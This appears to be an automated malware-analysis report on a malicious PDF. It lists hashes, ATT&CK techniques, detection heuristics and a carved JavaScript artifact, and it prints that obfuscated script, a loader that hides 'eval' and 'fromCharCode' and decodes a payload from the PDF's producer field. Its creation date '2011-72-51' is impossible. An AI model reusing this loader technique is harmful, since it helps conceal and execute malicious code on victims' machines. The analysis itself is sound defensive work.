Malicious PDF — malware analysis report

Static analysis result for SHA-256 7ac323a58db23b73…

MALICIOUS

PDF

22.7 KB Created: 2011-72-51 03:25:00
MD5: 7059c39bc8615d94b6ed2ccf3e65fdf3 SHA-1: 64073fabbee203ea6040f362a56501dc7e326aec SHA-256: 7ac323a58db23b734422a6a9e4e2b1d15d5a17658184027fd2de3eeb7813a3ae
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that utilizes eval() to decode and execute a payload. The script appears to be heavily obfuscated, making precise reconstruction of the final payload difficult. However, the presence of PDF JavaScript exploit cluster heuristics and the use of eval() strongly indicate an attempt to execute arbitrary code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
c2be8707cfc6e8371c5b8e15ce710d061603e0809713f2d01d94c6a7b3386082		 pdf-javascript-stream PDF /JS object 1 at offset 0x5744 670 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var ZememgEsap='';
HujotoFonz = new Date(2010,11,3,2);
var BeviupOzake = function(){return {e:'eva'}}().e;
FumUzab=eval(BeviupOzake+'l');
NukpimeJubu = 'thi'+HujotoFonz.getHours()+'ducer';
GasemykobabYbavo=FumUzab(NukpimeJubu.replace(2,'s.pro'));
CegupuZyknatudoxoh = GasemykobabYbavo.split('s');
var JidAlevb = '';
g = HujotoFonz.getHours();
var HerYz = 'fro'+HujotoFonz.getHours()+'arCode';
HerYz=HerYz.replace(2,'mCh');
Jogolynybebewivxuq=String[HerYz];
for (JyjAqifuri = 0; JyjAqifuri < CegupuZyknatudoxoh.length; JyjAqifuri++) {
	KycuJezo = FumUzab(CegupuZyknatudoxoh[JyjAqifuri]);
	JidAlevb += Jogolynybebewivxuq(KycuJezo);
}
FumUzab(JidAlevb);

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